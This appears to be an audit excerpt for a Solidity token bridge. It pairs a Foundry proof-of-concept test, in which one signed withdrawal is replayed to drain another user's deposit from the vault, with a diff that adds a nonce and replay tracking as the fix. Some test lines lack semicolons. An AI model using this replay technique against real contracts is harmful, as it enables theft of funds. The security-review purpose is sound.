function testForSignatureReplayAttack() public {
vm.startPrank(user);
uint256 depositAmount = 10e18
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
vm.stopPrank();
// attackedUser is funded with some ERC20 tokens
address attackedUser = makeAddr("attackedUser")
vm.prank(deployer);
token.transfer(attackedUser, 500e18);
uint256 attackedUserDepositAmount = depositAmount
vm.startPrank(attackedUser);
token.approve(address(tokenBridge), attackedUserDepositAmount);
tokenBridge.depositTokensToL2(attackedUser, userInL2, attackedUserDepositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), depositAmount + attackedUserDepositAmount);
for(uint i = 0; i< 2; i++) {
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
}
assert(token.balanceOf(user) > userInitialBalance);
assertEq(token.balanceOf(user), userInitialBalance + attackedUserDepositAmount);
assertEq(token.balanceOf(address(vault)), 0);
}
@@ -22,6 +22,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
L1Vault public immutable vault;
mapping(address account => bool isSigner) public signers;
mapping(address account => uint256 amount) public amountDeposited;
+ mapping(bytes32 => bool) public executedMessages;
error L1BossBridge__DepositLimitReached();
error L1BossBridge__Unauthorized();
@@ -82,7 +83,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
/// (H-4) replay signature attack, prevent it by adding nonce to the signature
/// (H-2) user can withdraw bigger amount than deposited
/// (H-3) how to check if tokens are actually being withdrawn to an address that deposited to l2
- function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ function withdrawTokensToL1(address to, uint256 amount, uint256 nonce, uint8 v, bytes32 r, bytes32 s) external {
require(amount <= amountDeposited[to], "L1BossBridge: amount is less than deposited");
amountDeposited[to] -= amount;
sendToL1(
@@ -92,7 +93,8 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
abi.encode(
address(token),
0, // value
- abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
+ abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount)),
+ nonce
)
);
}
@@ -106,14 +108,16 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
* @param message The message/data to be sent to L1 (can be blank)
*/
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
- address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
+ bytes32 messageHash = keccak256(message);
+ address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(messageHash), v, r, s);
+ require(executedMessages[messageHash] == false, "Transfer already executed");
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
-
- (address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
-
+ executedMessages[messageHash] = true;
+
+ (address target, uint256 value, bytes memory data, ) = abi.decode(message, (address, uint256, bytes, uint256));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();